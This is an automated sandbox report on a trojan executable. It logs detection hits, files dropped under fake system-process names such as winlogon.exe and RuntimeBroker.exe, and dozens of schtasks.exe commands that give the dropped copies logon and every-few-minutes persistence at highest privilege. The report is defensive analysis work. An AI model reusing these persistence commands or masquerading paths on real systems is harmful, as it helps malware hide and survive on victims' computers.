Source: B9exXW7c3t.exe, 00000000.00000002.2023417505.0000000002F31000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilename( vs B9exXW7c3t.exe
Source: B9exXW7c3t.exe, 00000000.00000002.2023417505.0000000002F86000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameUserPingCounter.dclib4 vs B9exXW7c3t.exe
Source: B9exXW7c3t.exe, 00000000.00000002.2023093722.0000000002DC0000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilename( vs B9exXW7c3t.exe
Source: B9exXW7c3t.exe, 00000000.00000002.2025245210.000000001348D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilename$ vs B9exXW7c3t.exe
Source: B9exXW7c3t.exe, 00000000.00000002.2023118743.0000000002DD0000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilename$ vs B9exXW7c3t.exe
Source: B9exXW7c3t.exe, 00000000.00000002.2023281514.0000000002E20000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilename( vs B9exXW7c3t.exe
Source: B9exXW7c3t.exe, 00000000.00000002.2023358574.0000000002E60000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameUserPingCounter.dclib4 vs B9exXW7c3t.exe
Source: B9exXW7c3t.exe Binary or memory string: OriginalFilenamelibcrypto$ vs B9exXW7c3t.exe
Uses 32bit PE files
Source: B9exXW7c3t.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
Yara signature match
Source: 28.2.ApplicationFrameHost.exe.2b6eca8.3.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_References_SecTools_B64Encoded author = ditekSHen, description = Detects executables referencing many base64-encoded IR and analysis tools names
Source: 26.2.QeWHGGzCXwoQygZUiDI.exe.2b7eff0.2.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_References_SecTools_B64Encoded author = ditekSHen, description = Detects executables referencing many base64-encoded IR and analysis tools names
Source: 0.2.B9exXW7c3t.exe.2ee9680.10.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_References_SecTools_B64Encoded author = ditekSHen, description = Detects executables referencing many base64-encoded IR and analysis tools names
Source: B9exXW7c3t.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: QeWHGGzCXwoQygZUiDI.exe.0.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: winlogon.exe.0.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: QeWHGGzCXwoQygZUiDI.exe0.0.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: RuntimeBroker.exe.0.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: B9exXW7c3t.exe, HxiJNeDrMF3JhcnBaNt.cs Cryptographic APIs: 'TransformBlock'
Source: B9exXW7c3t.exe, HxiJNeDrMF3JhcnBaNt.cs Cryptographic APIs: 'TransformFinalBlock'
Source: B9exXW7c3t.exe, xWGOqHsklDSgxDT0Beu.cs Cryptographic APIs: 'CreateDecryptor'
Source: B9exXW7c3t.exe, xWGOqHsklDSgxDT0Beu.cs Cryptographic APIs: 'CreateDecryptor'
Source: ctfmon.exe, 00000027.00000002.2292255279.0000000000F88000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: ;.VBp
Source: classification engine Classification label: mal100.troj.evad.winEXE@39/30@0/1
Source: C:\Users\user\Desktop\B9exXW7c3t.exe File created: C:\Program Files\Microsoft\OneDrive\ListSync\QeWHGGzCXwoQygZUiDI.exe Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe File created: C:\Users\Default User\Saved Games\QeWHGGzCXwoQygZUiDI.exe Jump to behavior
Source: C:\Program Files\Windows Mail\ctfmon.exe Mutant created: NULL
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\8191971cfb7e24d531c90d83757dc66eb418eeb2
Source: B9exXW7c3t.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: B9exXW7c3t.exe Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.79%
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: B9exXW7c3t.exe ReversingLabs: Detection: 78%
Source: C:\Users\user\Desktop\B9exXW7c3t.exe File read: C:\Users\user\Desktop\B9exXW7c3t.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\B9exXW7c3t.exe "C:\Users\user\Desktop\B9exXW7c3t.exe"
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "QeWHGGzCXwoQygZUiDIQ" /sc MINUTE /mo 14 /tr "'C:\Program Files\Microsoft\OneDrive\ListSync\QeWHGGzCXwoQygZUiDI.exe'" /f
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "QeWHGGzCXwoQygZUiDI" /sc ONLOGON /tr "'C:\Program Files\Microsoft\OneDrive\ListSync\QeWHGGzCXwoQygZUiDI.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "QeWHGGzCXwoQygZUiDIQ" /sc MINUTE /mo 14 /tr "'C:\Program Files\Microsoft\OneDrive\ListSync\QeWHGGzCXwoQygZUiDI.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "QeWHGGzCXwoQygZUiDIQ" /sc MINUTE /mo 8 /tr "'C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe'" /f
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "QeWHGGzCXwoQygZUiDI" /sc ONLOGON /tr "'C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "QeWHGGzCXwoQygZUiDIQ" /sc MINUTE /mo 13 /tr "'C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "ctfmonc" /sc MINUTE /mo 12 /tr "'C:\Program Files\Windows Mail\ctfmon.exe'" /f
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "ctfmon" /sc ONLOGON /tr "'C:\Program Files\Windows Mail\ctfmon.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "ctfmonc" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Mail\ctfmon.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 5 /tr "'C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe'" /f
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 6 /tr "'C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "QeWHGGzCXwoQygZUiDIQ" /sc MINUTE /mo 5 /tr "'C:\Users\Default User\Saved Games\QeWHGGzCXwoQygZUiDI.exe'" /f
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "QeWHGGzCXwoQygZUiDI" /sc ONLOGON /tr "'C:\Users\Default User\Saved Games\QeWHGGzCXwoQygZUiDI.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "QeWHGGzCXwoQygZUiDIQ" /sc MINUTE /mo 12 /tr "'C:\Users\Default User\Saved Games\QeWHGGzCXwoQygZUiDI.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 12 /tr "'C:\Users\Public\AccountPictures\RuntimeBroker.exe'" /f
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Users\Public\AccountPictures\RuntimeBroker.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 13 /tr "'C:\Users\Public\AccountPictures\RuntimeBroker.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "ApplicationFrameHostA" /sc MINUTE /mo 14 /tr "'C:\Users\Default\Links\ApplicationFrameHost.exe'" /f
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "ApplicationFrameHost" /sc ONLOGON /tr "'C:\Users\Default\Links\ApplicationFrameHost.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "ApplicationFrameHostA" /sc MINUTE /mo 13 /tr "'C:\Users\Default\Links\ApplicationFrameHost.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "QeWHGGzCXwoQygZUiDIQ" /sc MINUTE /mo 6 /tr "'C:\Users\user\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe'" /f
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "QeWHGGzCXwoQygZUiDI" /sc ONLOGON /tr "'C:\Users\user\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "QeWHGGzCXwoQygZUiDIQ" /sc MINUTE /mo 6 /tr "'C:\Users\user\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process created: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe "C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe"
Source: unknown Process created: C:\Users\Default\Links\ApplicationFrameHost.exe C:\Users\Default\Links\ApplicationFrameHost.exe
Source: unknown Process created: C:\Users\Default\Links\ApplicationFrameHost.exe C:\Users\Default\Links\ApplicationFrameHost.exe
Source: unknown Process created: C:\Program Files\Windows Mail\ctfmon.exe "C:\Program Files\Windows Mail\ctfmon.exe"
Source: unknown Process created: C:\Program Files\Windows Mail\ctfmon.exe "C:\Program Files\Windows Mail\ctfmon.exe"
Source: unknown Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe "C:\Users\user\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe"
Source: unknown Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe "C:\Users\user\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe"
Source: unknown Process created: C:\Users\Public\AccountPictures\RuntimeBroker.exe C:\Users\Public\AccountPictures\RuntimeBroker.exe
Source: unknown Process created: C:\Users\Public\AccountPictures\RuntimeBroker.exe C:\Users\Public\AccountPictures\RuntimeBroker.exe
Source: unknown Process created: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe "C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe"
Source: unknown Process created: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe "C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe"
Source: unknown Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe "C:\Users\user\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe"
Source: unknown Process created: C:\Program Files\Windows Mail\ctfmon.exe "C:\Program Files\Windows Mail\ctfmon.exe"
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process created: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe "C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe" Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Section loaded: windows.storage.dll Jump to behavior
